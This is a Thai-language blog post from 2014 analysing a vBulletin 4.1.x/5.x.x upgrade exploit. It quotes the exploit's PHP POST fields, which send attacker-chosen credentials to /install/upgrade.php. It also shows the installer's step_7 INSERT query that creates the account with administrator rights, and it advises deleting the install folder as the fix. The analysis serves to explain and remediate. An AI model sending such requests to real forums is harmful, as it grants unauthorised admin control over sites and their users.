หน้าเว็บ

วันจันทร์ที่ 16 มิถุนายน พ.ศ. 2557

In-Depth Analysis: vBulletin 4.1.x / 5.x.x Upgrade Exploit


         

          ช่องโหว่ตัวนี้คือ vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit โดย Exploit นี้จะพบได้ใน Directory ที่ติดตั้ง vBulletin ใน vBulletin เวอร์ชั่น 4.1.x และ 5.x.x ครับ
$fields = array(
 'ajax' => urlencode('1'),
 'version' => urlencode('install'),
 'checktable' => urlencode('false'),
 'firstrun' => urlencode('false'),
 'step' => urlencode('7'),
 'startat' => urlencode('0'),
 'only' => urlencode('false'),
 'customerid' => urlencode($_POST['customerid']),
 'options[skiptemplatemerge]' => urlencode('0'),
 'response' => urlencode('yes'),
 'htmlsubmit' => urlencode('1'),
 'htmldata[username]' => urlencode($_POST['username']),
 'htmldata[password]' => urlencode($_POST['password']),
 'htmldata[confirmpassword]' => urlencode($_POST['password']),
 'htmldata[email]' => urlencode($_POST['email'])
);

          จาก Exploit Code ที่เป็นภาษา PHP อ่านได้ใจความว่าเป็นการ POST ค่าพารามิเตอร์ที่เป็น username/password ไปยังไฟล์ /install/upgrade.php เมื่อสันนิษฐานได้แบบนี้ก็คิดต่อได้เลยว่า ต้องมีการ Insert User ใหม่เข้าไปใน database โดยเป็นสิทธิ์ Admin แน่นอน ผมจึงตามไปจนเจอว่าอยู่ในไฟล์ /install/includes/class_upgrade_install.php ฟังก์ชั่น step_7 ครับ

/*insert query*/
$this->db->query_write("
 INSERT INTO " . TABLE_PREFIX . "user
  (username, salt, password, email, usertitle, joindate, lastvisit, lastactivity, usergroupid, passworddate, options, showvbcode)
 VALUES (
  '" . $this->db->escape_string(htmlspecialchars_uni($data['htmldata']['username'])) . "',
  '" . $this->db->escape_string($salt) . "',
  '" . $this->db->escape_string(md5(md5($data['htmldata']['password']) . $salt)) . "',
  '" . $this->db->escape_string($data['htmldata']['email']) . "',
  '" . $this->db->escape_string($this->phrase['install']['usergroup_admin_usertitle']) . "',
  " . TIMENOW . ",
  " . TIMENOW . ",
  " . TIMENOW . ",
  6,
  FROM_UNIXTIME(" . TIMENOW . "),
  $admin_useroption,
  2
 )
");

          โดยที่ htmldata[xxx] ที่ POST มานั้นมาจาก Input Form ของหน้า Upgrade เอง สังเกตได้จากตัวแปร $html จะมี input อยู่และ name="htmldata[xxx]" ยกตัวอย่าง input username

<td class="alt1">
 <div id="ctrl_username">
  <input type="text" tabindex="1" dir="ltr" size="35" value="' . htmlspecialchars_uni($data['htmldata']['username']) . '" id="it_username_1" name="htmldata[username]" class="bginput" vbrequire="1" />
 </div>
</td>

          จากฟังก์ชั่น step_7 จะสังเกตได้อย่างที่ข้างต้นกล่าวว่า เป็นการ Insert User ลงไปใน Database จากนั้นก็จับคู่เลยว่า Field ไหน Data อะไร ยกตัวอย่าง usergroupid = 6


          เลข 6 คือกลุ่ม Administrator ในระบบ vBulletin ทำให้ข้อมูลที่ยิงเข้าไปกลายเป็น Administrator และ Login เข้าเว็บด้วยสิทธิ์ Admin ได้เลย เมื่อเป็น Admin เว็บแล้วทำอะไรได้บ้าง จินตนาการต่อเองนะครับ :P
          วิธีการแก้ไขสำหรับ vBulletin เวอร์ชั่น 4.x ให้ลบโฟลเดอร์ /install เวอร์ชั่น 5.x ให้ลบโฟลเดอร์ /core/install ครับ ส่วนมาก CMS หลังลงเสร็จจะมีเตือนให้ลบอยู่แล้ว เพราะว่าเท่าที่เห็นในการ Install จะมีการเขียนไฟล์ config.php, setting.php, etc... อาจจะโดน Bypass เขียนโค้ด PHP ลงไปแทนค่า username/password ที่ต่อกับ Database ก็เป็นได้ :),, ICheer_No0M | 2600Thailand

Ref : vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit
Ref : vBulletin Manual

ไม่มีความคิดเห็น:

แสดงความคิดเห็น